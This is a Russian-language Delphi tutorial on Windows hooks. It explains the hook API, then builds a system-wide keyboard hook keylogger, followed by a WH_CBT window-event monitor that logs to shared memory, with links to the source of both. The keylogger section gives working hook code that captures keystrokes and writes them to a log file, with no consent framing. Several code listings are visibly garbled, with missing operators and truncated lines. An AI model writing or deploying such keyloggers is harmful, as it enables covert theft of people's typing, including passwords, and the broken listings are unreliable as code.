Хуки в Windows на Delphi

ОГЛАВЛЕНИЕ

Итак, приступим, что же такое механизм хуков в Windows? В операционной системе Windows хуком называется механизм перехвата особой функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до приложения. Эта функция может затем реагировать на события и, в некоторых случаях, изменять или отменять их. Функции, получающие уведомления о событиях, называются фильтрующими функциями и различаются по типам перехватываемых ими событий. Пример - фильтрующая функция для перехвата всех событий мыши или клавиатуры. Если к одному хуку прикреплено несколько фильтрующих функций, Windows реализует очередь функций, причем функция, прикрепленная последней, оказывается в начале очереди, а самая первая функция - в ее конце.

Когда к хуку прикреплена одна или более функций-фильтров и происходит событие, приводящее к срабатыванию хука, Windows вызывает только первую функцию из очереди функций-фильтров. Вызов каждого следующего обработчика полностью зависит от предыдущего обработчика. Если какой-либо обработчик не вызовет следующий, то целевому окну не придёт искомое сообщение, а следовательно и не будет вызвана его оконная функция.

Хуки предоставляют мощные возможности для приложений Windows. Приложения могут использовать хуки в следующих целях:

  • Обрабатывать или изменять все сообщения, предназначенные для всех диалоговых окон (dialog box), информационных окон (message box), полос прокрутки (scroll bar), или меню одного приложения (WH_MSGFILTER).
  • Обрабатывать или изменять все сообщения, предназначенные для всех диалоговых окон, информационных окон, полос прокрутки, или меню всей системы (WH_SYSMSGFILTER).
  • Обрабатывать или изменять все сообщения в системе (все виды сообщений), получаемые функциями GetMessage или PeekMessage (WH_GETMESSAGE).
  • Обрабатывать или изменять все сообщения (любого типа), посылаемые вызовом функции SendMessage (WH_CALLWNDPROC).
  • Записывать или проигрывать клавиатурные и мышиные события (WH_JOURNALRECORD, WH_JOURNALPLAYBACK).
  • Обрабатывать, изменять или удалять клавиатурные события (WH_KEYBOARD).
  • Обрабатывать, изменять или отменять события мыши (WH_MOUSE).
  • Реагировать на определенные действия системы, делая возможным разработку приложений компьютерного обучения - computer-based training (WH_CBT).
  • Предотвратить вызов другой функции-фильтра (WH_DEBUG).
Работа с хуками осуществляется через функции SetWindowsHookEx, UnhookWindowsHookEx, вызов следующего обработчика осуществляется через функцию CallNextHookEx. До версии 3.1 Windows предоставляла для управления хуками функции SetWindowsHook, UnhookWindowsHook, и DefHookProc. Эти функции до сих пор реализованы в Win32, только лишь для совместимости со старыми приложениями, и использовать их в новых проектах не рекомендуется.

Начнём сначала, для установки хука успользуется функция SetWindowsHookEx

HHOOK SetWindowsHookEx(
 int idHook,
 HOOKPROC lpfn,
 HINSTANCE hMod,
 DWORD dwThreadId
);
Первый параметр это числовая константа WH_* которая задаёт тип устанавливаемого хука. Второй параметр это адрес функции-фильтра. Третий параметр это хэндл модуля, содержащего фильтрующую функцию. Этот параметр должен быть равен нулю при установке хука на поток, но данное требование не является строго обязательным, как указано в документации. При установке хука для всей системы или для потока в другом процессе, нужно использовать хэндл DLL, содержащей функцию-фильтр. Четвёртый параметр это идентификатор потока, для которого устанавливается хук. Если он не равен нулю, то хук устанавливается только на указанный поток. Если идентификатор равен нулю, то хук устанавливается на всю систему. Некоторые хуки можно ставить как на всю систему, так и на некоторый поток, некоторые хуки можно поставить только на всю систему. Функция возвращает хендл хука, в случае неудачи функция возвратит ноль. Для снятия хука нужно использовать функцию UnhookWindowsHookEx, которая принимает в качестве единственного параметра хендл установленного хука.

Теперь надо сделать небольшое лирическое отступление от данной темы, для лучшего понятия описываемого механизма. В 32-битных (а далее в 64-битных) операционных системах Windows каждый процесс в системе имеет своё собственное обособленное адресное пространство. Обратиться к чужому адресному пространству можно только через несколько API функций и имея определённые привилегии. Т.е. по одному и тому же адресу в разных процессах могут быть совершенно разные данные. Для того чтобы фильтрующая функция могла обработать сообщение, она должна находиться в памяти именно того процесса, которому принадлежит целевое окно и оконная функция. Итак, если хук устанавливается на всю систему, то фильтрующая функция должна быть загружена в каждый процесс, у которого есть хотя бы один цикл сообщений c использованием функций GetMessage или PeekMessage. Единственный стандартный способ загрузки нашего кода в чужой процесс, это использование DLL. Т.е. для нормального функционирования хуков установленных на всю систему необходимо использовать DLL.

Едем, далее. Все фильтрующие функции должны быть описаны следующим образом:

LRESULT CALLBACK FilterFunc(int nCode, WPARAM wParam, LPARAM lParam)
Так написано в MSDN. Тип LRESULT это тот же integer, WPARAM и LPARAM это тоже integer. CALLBACK это тоже что и stdcall. Чтобы было понятнее, приведу наиболее правильное и логичное (по моему мнению) объявление на pascal:
Function FilterFunc(Code:integer; wParam, lParam:DWORD):DWORD; stdcall;
Это общий прототип функции для всех типов хуков. Параметры интерпретируются по-разному, в зависимости типа хука. Очень часто встречается одна и та же ошибка: объявление параметра wParam как WORD. Это грубая ошибка, которая приводит к непредсказуемым последствиям в работе хуков, так как тип WORD имеет размерность 16 бит, а DWORD 32 бита, в результате чего половина информации, передаваемая через этот параметр, теряется. Первый параметр во всех типах хуков интерпретируется в основном одинаково: если он меньше нуля, то надо сразу же вызвать следующую функцию через CallNextHookEx, и вернуть результат её вызова. Если код равен HC_ACTION, то можно обработать это сообщение. Впрочем, это только рекомендации и всё полностью зависит от самой функции и программиста, который её написал.

Для вызова следующей функции в очереди хуков предназначена функция CallNextHookEx

LRESULT CallNextHookEx(
 HHOOK hhk,
 int nCode,
 WPARAM wParam,
 LPARAM lParam
);

Отличие от оконной функции лишь в первом параметре, который, кстати, в системах семейства Windows NT (Windows NT/XP/2003 и далее) игнорируется. Для того чтобы не передавать дальше обработку сообщения, достаточно просто не вызывать эту функцию в обработчике. В данном случае это сообщение просто блокируется и не приходит адресату.

Итак, основные сведения о хуках мы получили. Теперь надо приступить к практике. Наиболее часто встречающийся проблемы поднимаемые на форумах программистов, связанный с хуками, это проблемы с написанием клавиатурных шпионов. Именно клавиатурный шпион мы сейчас и напишем.


Клавиатурный шпион

Для создания клавиатурного хука нам надо указать код WH_KEYBOARD при вызове функции SetWindowsHookEx. Windows вызывает обработчики хка когда функции GetMessage или PeekMessage собираются вернуть сообщения WM_KEYUP, WM_KEYDOWN.

Параметр Code может быть равен следующим значениям:

  • HC_ACTION Windows вызывает обработчик с этим кодом при удалении сообщения из очереди.
  • HC_NOREMOVE Windows вызывает обработчик с этим кодом, когда клавиатурное сообщение не удаляется из очереди, потому что приложение вызвало функцию PeekMessage с параметром PM_NOREMOVE. При вызове хука с этим кодом не гарантируется передача действительного состояние клавиатуры. Программист должен знать о возможности возникновения подобной ситуации.
Параметр wParam в обработчике хука WH_KEYBOARD содержит виртуальный код клавиши (например, VK_F1, VK_RETURN, VK_LEFT). Параметр lParam расшифровывается следующим образом:
  • Биты 0-15 содержат количество повторений нажатой клавиш ив случае залипания.
  • Биты 16-23 содержат скан код нажатой клавиши. Это аппаратно зависимый код, который зависит от конкретной клавиатуры.
  • Бит 24 равен единице, если нажатая клавиша является расширенной (функциональной или на цифровой клавиатуре), иначе 0.
  • Биты 25-28 зарезервированы.
  • Бит 29 выставлен, если нажата кнопка Alt.
  • Бит 30 говорит нам о состоянии клавиши до отправки сообщения. Бит равен единице если до этого кнопка до отправки сообщения нажата, если кнопка была до этого не нажата, то бит равен нулю.
  • Бит 31 говорит о текущем состоянии клавиши. Он равен нулю, если кнопка в нажатом состоянии, и единица, если в не нажатом состоянии.
Как мы будем сохранять введённый текст? Разумеется, самый простой способ это сохранение в файл перехваченного кода нажатой клавиши это сохранение в файл сразу же в функции фильтре. Но операции файлового ввода/вывода это операции не слишком быстрые и это приводит к общему уменьшению производительности системы при вводе какого-либо текста (впрочем, на новых машинах это вряд ли можно заметить). Поэтому мы заведём специальное окно-сервер, которому будем отправлять коды нажатых клавиш, это окно будет получать коды нажатых клавиш и сохранять в своём буфере, и скидывать буфер в файл, когда он будет достигать некоторого размера.

Создание и снятие хука, я думаю, особых проблем не составляет, поэтому сразу приступлю к самому обработчику хука.

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
if ((LParam or (1 shl 30))=LParam) then
 begin
  ServerWnd:=FindWindow(nil,'Simple keylogger ');
  GetKeyboardState(KeybrdState);
  ScanCode:=(LParam shr 16)and $FF;
  if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
   PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
  else
   PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
 end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

Основная проблема в при написании клавиатурных хуков заключается в том что обработчику хука передаётся только скан код нажатой клавиши и её виртуальный код. Виртуальный код и скан код говорят нам, какая именно клавиша была нажата, но не говорят, что именно было введено. Поясню, даже если мы вводим русский текст, то клавиатурному хуку будут передаваться коды английских клавиш, т.е. мы вводим слово «привет», а обработчику хука будет передано «GHBDTN». Или, например, мы нажимаем на Shift цифру 7 и вводится знак &, но в клавиатурный хук будт передан только код цифры 7. Для того чтобы преобразовать скан код и виртуальный код в текстовый символ, который был введён, необходимо использовать функцию ToAscii (или ToUnicode). Её параметры:

int ToAscii(
 UINT uVirtKey,
 UINT uScanCode,
 PBYTE lpKeyState,
 LPWORD lpChar,
 UINT uFlags
);
Первый параметр это виртуальный код, второй это скан код, третий параметр это указатель на массив в котором сохранено состояние клавиатуры, четвёртый это указатель на переменную, в которую будет сохранён символ, пятый параметр это флаг, определяющий, является ли меню активным. Этот параметр должен быть 1, если меню активно, или иначе 0. Функция возвращает количество символов, полученных в результате преобразования. Состояние клавиатуры можно получить через функцию GetKeyboardState.

Вернёмся в нашей фильтрующей функции.

ServerWnd:=FindWindow(nil,'Simple keylogger ');
GetKeyboardState(KeybrdState);
ScanCode:=(LParam shr 16)and $FF;
if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
 PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
else
 PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
Сначала мы получаем состояние клавиатуры, потом получаем скан код из параметры LParam и вызываем функцию ToAscii. Если её результат не равен нулю, т.е. если её результат не пустой, то отправляем cсообщение окну-серверу с заголовком «Simple keylogger » (цифры в заголовке нужны только лишь для его уникальности). Сообщение WM_KEYEVENT мы объявили сами
WM_KEYEVENT=WM_USER+1
А вот собственно и сам обработчик сообщения WM_KEYEVENT
procedure TMainForm.KeyMessageHandler(var Msg: TMessage);
var
  KeyName:array[0..99] of char;
  _MSG:TMsg;
begin
  GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
  BufferWrite('13) then
begin
 BufferWrite(',');
 KeyName[0]:=chr(Msg.WParamLo);
 KeyName[1]:=#0;
 BufferWrite(KeyName);
end;
  BufferWrite('>');
  inc(Counter);
  if Counter>MaxSimbolGroup then
begin
 BufferWrite(NewLine);
 WriteTime;
 BufferWrite(NewLine);
 Counter:=0;
end;
end;

Для получения текстовой расшифровки нажатой клавиши по её скан коду мы воспользовались функцией GetKeyNameText. Полный текст DLL и приложения находится в архиве прилагающемуся к этой статье.

Если посмотреть получившийся лог, то мы увидим следующий текст в формате <название клавиши, введённый текст>.

Вот и подошёл конец первой статьи про хуки. Качаем, смотрим исходник исследуем, учимся.


Работа с окнами

Во второй части статьи про хуки в Windows я расскажу про слежение событий создания, активации, уничтожения окон. Также много внимания будет уделено методам межпроцессорного взаимодействия с использованием разделяемой памяти (мэпинга) и синхронизации потоков с использованием мьютексов. Также будет написана программа на Delphi для осуществления мониторинга окон.

Итак, начнём сначала. Для создания хука для мониторинга событий окон надо указать тип хука WH_CBT в первом параметре функции SetWindowsHookEx. Хук типа WH_CBT позволяет отслеживать следующие события окон: создание, уничтожение, активация, установку фокуса, минимизация, максимизация и прочее.

Формат обработчика хука такой же, какой и у других типов хуков

LRESULT CALLBACK CBTProc(
    int nCode,    // код события
    WPARAM wParam,    // depends on hook code
    LPARAM lParam     // depends on hook code
   );

Назначение параметров wParam и lParam полностью зависит от типа события. Обработчик хука всегда вызывается до осуществления события. Если обработчик хука не вызовет следующий обработчик хука (функция CallNextHookEx), то перехватываемое действие не произойдёт, таким образом можно блокировать некоторые действия. Но тем не менее, отменять события в хуках такого типа не рекомендуется, так как это будет очень неожиданно для приложения. Представьте себе ситуацию, когда программа хочет уничтожить окно, а у него не получается, или же хочет создать окно, но не получается, намного корректнее было бы уничтожить окно после его создания (к примеру, через 10 мс). Далее приведены наиболее часто используемые типы событий.

Если код события равен HCBT_ACTIVATE, то произошло событие активации окна. В данном случае параметр wParam содержит хендл искомого окна, а параметр lParam будет указывать на структуру CBTACTIVATESTRUCT. Далее приведено описание этой структуры:

typedef struct tagCBTACTIVATESTRUCT { // cas
    BOOL fMouse;
    HWND hWndActive;
} CBTACTIVATESTRUCT;

Если событие произошло вследствие клика мыши, то поле fMouse будет равно TRUE. Поле hWndActive содержит хендл окна, активного в данный момент.

При коде события HCBT_CREATEWND параметр wParam содержит хендл нового окна, а lParam указывает на структуру CBT_CREATEWND

typedef struct tagCBT_CREATEWND { // cbtcw
    LPCREATESTRUCT lpcs;
    HWND           hwndInsertAfter;
} CBT_CREATEWND;

Поле hwndInsertAfter содержит хендл окна, которое по Z координате находится сразу же за вновь создаваемым. Изменив этот хендл можно изменить Z координату вновь создаваемого окна. Поле lpcs указывает на структуру CREATESTRUCT, она имеет следующий формат:

typedef struct tagCREATESTRUCT { // cs
    LPVOID    lpCreateParams;
    HINSTANCE hInstance;
    HMENU     hMenu;
    HWND      hwndParent;
    int       cy;
    int       cx;
    int       y;
    int       x;
    LONG      style;
    LPCTSTR   lpszName;
    LPCTSTR   lpszClass;
    DWORD     dwExStyle;
} CREATESTRUCT;

Я думаю здесь всё понятно.

При коде события HCBT_DESTROYWND wParam содержит хендл уничтожаемого окна, lParam ничего не содержит. Как было уже сказано, функция обработчик вызывается до осуществления события, а следовательно когда мы в обработчике окно ещё существует и можно получить параметр уничтожаемого окна.

Помимо указанных кодов событий ещё есть следующие:

  • HCBT_CLICKSKIPPED - Фильтр вызывается при удалении сообщения мыши из системной очереди сообщений, при условии, что дополнительно определен фильтр WH_MOUSE.
  • HCBT_KEYSKIPPED – Фильтр вызывается при удалении клавиатурного сообщения из системной очереди сообщений, при условии, что дополнительно определен фильтр WH_KEYBOARD.
  • HCBT_MINMAX - минимизация/максимизация окна
  • HCBT_MOVESIZE – окно будет перемещено либо будет изменён размер окна
  • HCBT_QS - Система извлекла сообщение WM_QUEUESYNC из системной очереди сообщений
  • HCBT_SETFOCUS – окно получило фокус ввода.
  • HCBT_SYSCOMMAND – будет обработана системная команда.

Итак, хук WH_CBT мы изучили. Теперь надо подумать как вести лог. В примере прошлой статьи у нас было окно-сервер, которое принимало специальные сообщения и заносило их в лог. Как ни хвали этот метод, он всё равно имеет ограничения и не всегда приемлем. На этот раз мы используем другой более гибкий и универсальный метод. Для ведения лога мы будем использовать технику файлового мэпинга. С помощью этой техники можно создать кусок виртуальной памяти, который будет доступен нескольким процессам.

Начнём сначала. Принцип файлового мэпинга является одним из основополагающих принципов работы с виртуальной памятью в Windows. С помощью техники файлового мэпинга можно создать область памяти, которая при нехватке физической памяти будет сбрасываться не в файл подкачки, а в какой-нибудь указанный нами файл. Таким образом, при изменении памяти, выделенной и спроецированной с помощью механизма мэпинга, содержимое файла тоже будет изменено (разумеется, не сразу). Чтобы создать файл-мэппинг объект надо использовать функцию CreateFileMapping. Её формат:

HANDLE CreateFileMapping(
    HANDLE hFile,
    LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
    DWORD flProtect,
    DWORD dwMaximumSizeHigh,
    DWORD dwMaximumSizeLow,
    LPCTSTR lpName
   );

Первый параметр это хендл файла, который будет использован как файл подкачки для этой области памяти. Если хендл файла равен значению INVALID_HANDLE_VALUE, то выделенная область памяти при необходимости будет сбрасываться в файл подкачки (как и любая другая область памяти). Второй параметр это атрибуты защиты. Третий параметр задаёт параметры доступа к выделенной памяти: PAGE_READONLY - только чтение, файл в этом случае должен быть открыт как минимум с флагом GENERIC_READ; PAGE_READWRITE – чтение и запись, файл должен быть открыт как минимум с флагами GENERIC_READ и GENERIC_WRITE; PAGE_WRITECOPY – тоже самое, что и с предыдущим флагом, но все выделенные страницы помечаются как копируемые при записи. В этом случае изменения в выделенной памяти не будут отражаться на искомом файле, и в случае необходимости область памяти будет сбрасываться в файл подкачки. В общем, не будем слишком сильно заморачиваться этим флагом, лучше всего использовать флаг PAGE_READWRITE. Третий и четвёртый параметры задают максимальный размер создаваемого объекта, соответственно старшую и младшую часть. Последний параметр задаёт имя создаваемого объекта, через которое смогут обратиться к нему другие процессы.

Для открытия имеющего файл-мэпинг объекта по имени существует функция OpenFileMapping.

HANDLE OpenFileMapping(
    DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    LPCTSTR lpName
   );

Первый параметр задаёт тип доступа к объекту, может принимать следующие значения: FILE_MAP_WRITE – чтение и запись, объект должен быть создан с атрибутом PAGE_READWRITE; FILE_MAP_READ – только чтение, объект должен быть создан к минимум с атрибутом PAGE_READONLY; FILE_MAP_ALL_ACCESS- тоже самое, что и FILE_MAP_WRITE; FILE_MAP_COPY – копирование при записи, объект должен быть создан с атрибутом PAGE_WRITECOPY. Второй параметр это флаг наследования. Третий параметр задаёт имя отрываемого файл-мэпинг объекта.

Для проецирования файл-мэпинг объекта на память используется функция MapViewOfFile. Её описание:

LPVOID MapViewOfFile(
    HANDLE hFileMappingObject,
    DWORD dwDesiredAccess,
    DWORD dwFileOffsetHigh,
    DWORD dwFileOffsetLow,
    DWORD dwNumberOfBytesToMap
   );

Первый параметр это хендл файл-мэпинг объекта. Второй параметр задаёт атрибуты доступа, требования полностью идентичны требованиям первого параметра для функции OpenFileMapping. Третий и четвёртый параметры задают начальное смещение в файле, с которого начнётся проецирование на память, соответственно старшая и младшая часть смещения. Последний параметр задаёт количество байт для проецирования на память. Функция в случае успеха возвращает указатель на выделенную память.

Для освобождения выделенной памяти и сохранения изменений в искомый файл (если это нужно было) надо вызвать функцию UnmapViewOfFile, она принимает единственный параметр, это начальный адрес, куда был спроецирован объект.

Итак, у нас имеется общая для всех область памяти. Мы в неё можем записывать наш лог, в конце мониторинга нам надо будет сбросить эту память в некоторый файл. Возникает вопрос: как нам узнать в какое место буфера писать. Для этого мы в первых четырёх байтах буфера будем держать переменную, в которой будет храниться текущее смещение, куда надо писать новые данные. Перед записью мы получаем смещение, записываем по этому смещению новые данные и увеличиваем нашу переменную на размер записанных данных.

Итак, общий алгоритм известен, но возникает новая проблема. Так как процессов и окон много, возникает проблема синхронизации записи в буфер. А именно надо сделать так, чтобы записывать в лог в некоторый момент времени мог только один поток, иначе результаты будут непредсказуемыми. Эксклюзивного доступа к общим данным можно добиться, используя критические секции, но их можно использовать только для синхронизации потоков в одном процессе. Заменой критических секций в «межпроцессорном масштабе» являются объекты взаимоисключения – мьютексы. (конечно же, есть и другие варианты, но этот вариант наиболее простой).

Мьютексы могут находиться в двух состояниях в захваченном и свободном. Также мьютексы, как и любые другие объекты в Windows, могут находиться в двух состояниях: сигнальном и несигнальном состоянии. Когда мьютекс захвачен каким-либо потоком, он находится в несигнальном состоянии, когда мьютекс свободен, он находится в сигнальном состоянии.

Для создания мьютекса надо вызвать функцию CreateMutex, её заголовок:

HANDLE CreateMutex(
    LPSECURITY_ATTRIBUTES lpMutexAttributes,
    BOOL bInitialOwner,
    LPCTSTR lpName
   );

Первый параметр этой функции задаёт параметры защиты объекта. Второй параметр задаёт начальное состояние мьютекса, если оно равно TRUE (-1) то начальное созданный мьютекс сразу же захватывается создающим потоком, иначе начальное состояние создаваемого мьютекса свободное. Третий параметр задаёт имя мьютекса, чтобы к созданному мьютексу могли обратиться другие процессы.

Чтобы открыть существующий мьютекс необходимо использовать функцию OpenMutex.

HANDLE OpenMutex(
    DWORD dwDesiredAccess,    // access flag
    BOOL bInheritHandle,    // inherit flag
    LPCTSTR lpName     // pointer to mutex-object name
   );

Первый параметр задаёт флаги доступа к мьютексу, второй параметр задаёт флаг наследования, третий имя мьютекса. Первый параметр может принимать следующие значения: MUTEX_ALL_ACCESS - полный доступ, SYNCHRONIZE – только для синхронизации. (впрочем, так и непонятно чем они друг от друга отличаются)

Если хендл мьютекса передан какой-либо ждущей функции (например, WaitForSingleObject), то эта функция проверяет его состояние, если он свободен (в сигнальном состоянии), то помечает его как занятый (переводит его в несигнальном состоянии) и возвращает управление. Если мьютекс находится в занятом состоянии (несигнальном), то она ждет, когда он перейдёт в свободное (сигнальное) состояние, либо ждёт окончания указанного интервала и только потом возвращает управление. Для освобождения мьютекса необходимо вызывать функцию ReleaseMutex, передав ей единственный параметр – хендл мьютекса.

Допустим у нас есть некоторый код который работает с общими данными и необходим эксклюзивный доступ к ним, шаблон кода будет таким:

WaitForSingleObject(MutexHandle,INFINITE);
//код работающий с общими данными
ReleaseMutex(MutexHandle);

Итак, все знания необходимые для написания монитора окон мы получили, настало время написать программу для мониторинга окон. Сначала приведу код DLL который устанавливает и снимает хук:

procedure SetKeyHook; stdcall; export;
begin
  if HookHandle=0 then
   begin
    HookHandle:=SetWindowsHookEx(WH_CBT, @CBTHook, hInstance, 0);
    FileMappingHandle :=OpenFileMapping(FILE_MAP_WRITE, false, FileMappingName);
    SharedBuffer :=MapViewOfFile(FileMappingHandle, FILE_MAP_WRITE, 0,0, MaxBufferSize);
    SyncMutexHandle :=OpenMutex(SYNCHRONIZE,False,MutexName);
   end;
end;

procedure DelKeyHook; stdcall; export;
begin
  if HookHandle  0 then
   begin
    UnhookWindowsHookEx(HookHandle);
    HookHandle:=0;
    UnmapViewOfFile(SharedBuffer);
    CloseHandle(FileMappingHandle);
    CloseHandle(SyncMutexHandle);
    FileMappingHandle:=0;
   end;
end;

Проблем с этим кодом быть не должно: при установке хука мы открываем нужные нам объекты и проецируем в нашу память общий буфер. Далее приведён код функции фильтра.

function CBTHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  CurrentOffsetInBuffer:DWORD;
  CurrentPointer:pointer;
  NewStr:string;
  WindowName:array[0..MAX_PATH-1] of char;
begin
  Result:=CallNextHookEx(HookHandle, CODE, WParam, LParam);
  case CODE of
   HCBT_ACTIVATE:
    begin
     GetWindowText(WParam,@WindowName,MAX_PATH);
     if WindowName='' then exit;
     NewStr:='Window activated at '+GetTime;
     NewStr:=NewStr+'. Window name '+WindowName+#13#10;
    end;
   HCBT_CREATEWND:
    begin
     if PCBTCreateWnd(LParam)^.lpcs^.hwndParent0 then exit;
     NewStr:='Window created at ' +GetTime;
     if PCBTCreateWnd(LParam)^.lpcs^.lpszNamenil then
      NewStr:=NewStr +'. Window name '+ PCBTCreateWnd(LParam)^.lpcs^.lpszName +#13#10
                                                   else
      NewStr:=NewStr+#13#10;
    end;
   HCBT_DESTROYWND:
    begin
     GetWindowText(WParam, @WindowName,MAX_PATH);
     if WindowName='' then exit;
     NewStr:='Window destoyed at '+GetTime;
     NewStr:=NewStr+'. Window name '+ WindowName+#13#10;
    end;
  end;
  WaitForSingleObject(SyncMutexHandle,INFINITE);
  CurrentOffsetInBuffer:=DWORD(SharedBuffer^);
  CurrentPointer :=pointer(DWORD(SharedBuffer) + CurrentOffsetInBuffer);
  CopyMemory(CurrentPointer,PChar(NewStr),length(NewStr));
  DWORD(SharedBuffer^):=CurrentOffsetInBuffer+length(NewStr);
  ReleaseMutex(SyncMutexHandle);
end;

В начале мы сразу же вызываем следующий обработчик в цепочке обработчиков. Потом обрабатываем данные в зависимости от типа события. В событии HCBT_CREATEWND мы поучаем имя окна из структуры PCBTCreateWnd на которую указывает параметр lParam, в остальных двух случаях мы получаем имя окна, используя её хендл который находится в параметре wParam. В событии HCBT_CREATEWND мы получаем имя окна только в том случае если оно главное, т.е. не имеет родителя, в остальных двух случаях мы производим обработку только в случае, если имя окна не является пустой строкой. После того как мы получили строку нам необходимо её добавить в буфер. Добавление производится между вызовами функций WaitForSingleObject и ReleaseMutex чтобы обновление мог производить только один поток одновременно.

Осталось написать приложение сервер, которое будет запускать и останавливать мониторинг.

procedure RunHook;
begin  FileMappingHandle :=CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, MaxBufferSize,FileMappingName);
  SharedBuffer :=MapViewOfFile(FileMappingHandle, FILE_MAP_WRITE, 0, 0, MaxBufferSize);
  ZeroMemory(SharedBuffer,MaxBufferSize);
  DWORD(SharedBuffer^):=4;
  SyncMutexHandle:=CreateMutex(0,false,MutexName);
  SetKeyHook;
end;

procedure StopHook;
begin
  DelKeyHook;
  DumpBuffer;
  UnmapViewOfFile(SharedBuffer);
  CloseHandle(FileMappingHandle);
  CloseHandle(SyncMutexHandle);
end;

procedure DumpBuffer;
var
  FH:THandle;
  _WR:DWORD;
  _Buff:pointer;
begin
  _Buff:=pointer(DWORD(SharedBuffer)+4);
  FH :=CreateFile(LogFileName,GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ, 0, OPEN_ALWAYS,0,0);
  SetFilePointer(FH,0,0,FILE_END);
  WriteFile(FH, _Buff^, lstrlen(_Buff),_WR,0);
  CloseHandle(FH);
  ZeroMemory(SharedBuffer, MaxBufferSize);
end;

Я думаю, ничего сложного в этом коде нет. Функция DumpBuffer скидывает содержимое буфера в файл. При создании объекта файлового мэпинга мы не указываем никакого файла. Сразу возникает вопрос: почему? Смысл в том, что размера выделяемого буфера может не хватить и придётся его время от времени сбрасывать в файл, а если выделять сразу большой буфер, то хук станет слишком ресурсоёмким. Хотя в данном примере не реализован сброс буфера в файл при нехватке места в буфере, об этом нельзя забывать и это надо будет обязательно реализовать в своих программах.

Полный код примера к находится в архиве прилагающемуся к этой статье. Пример, не претендует на звание самого лучшего и является всего лишь шаблоном для написания программ для мониторинга окон.

Автор: rpy3uH

Исходник клавиатурного шпиона

Исходник монитора окон